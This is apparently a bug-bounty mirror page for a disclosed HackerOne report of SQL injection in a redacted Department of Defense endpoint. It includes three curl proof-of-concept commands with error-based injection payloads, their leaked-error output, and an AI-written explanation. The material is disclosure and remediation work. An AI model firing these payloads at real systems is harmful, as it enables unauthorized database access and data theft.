Skip to content
SQL injection Disclosed report Intermediate

SQL Injection in █████

A SQL injection vulnerability was found in a parameter of an endpoint, allowing an attacker to inject SQL queries and retrieve database information such as the version and current user. The report claims this could lead to full database exfiltration and remote code execution.

lubak Follow

Originally disclosed on HackerOne

Critical View original
  • Triaged in under an hour
  • Fixed in 19 days
  • Disclosed after 43 days

References

Impact

By using SQL injection, an attacker can exfiltrate the whole database, and gain RCE

System Host(s)

████

Affected Product(s) and Version(s)

████

CVE Numbers

Steps to Reproduce

POC 1 - curl command injecting query, returning database version: curl https://█████████ -X POST -data="url=%2F████████&███████=AA'+OR(cast(version as date))LIKE'A" -k

POC 2 - curl command injecting query, returning current database: curl https://███████████████ -X POST -data="url=%2F██████████&███=AA'+OR(cast(current_user as date))LIKE'A" -k {"msg":"fail","err":"ERROR: invalid input syntax for type timestamp: "████""}

POC 3 - curl command injecting query, returning current user: curl https://█████████ -X POST -data="url=%2F████&█████=AA'+OR(cast(current_user as date))LIKE'A" -k {"msg":"fail","err":"ERROR: invalid input syntax for type timestamp: "███████""}

Suggested Mitigation/Remediation Actions

The vulnerable parameter "█████" in the ████████ endpoint should be sanitized properly. Usually this is done by implementing prepared statement.

The original report as published on HackerOne, by lubak. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the application concatenates user input directly into SQL queries without using prepared statements or proper sanitisation.

What the attacker needed

Access to the endpoint

How it was found

  1. Send a crafted POST request to the endpoint with a parameter containing a SQL injection payload that casts the database version to a date, causing an error that reveals the version.
  2. Send a similar request that casts the current database to a date, causing an error that reveals the current database.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

SQL injection is when user input is inserted directly into a database query without proper handling, letting an attacker change the query's meaning. Here, the attacker could make the database return its version and current user, and the report says this could be extended to steal all data or even run commands on the server.

What is SQL injection?

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.

More by lubak

View all

2 more disclosed reports, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

SQL injection

The lesson behind this report.

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.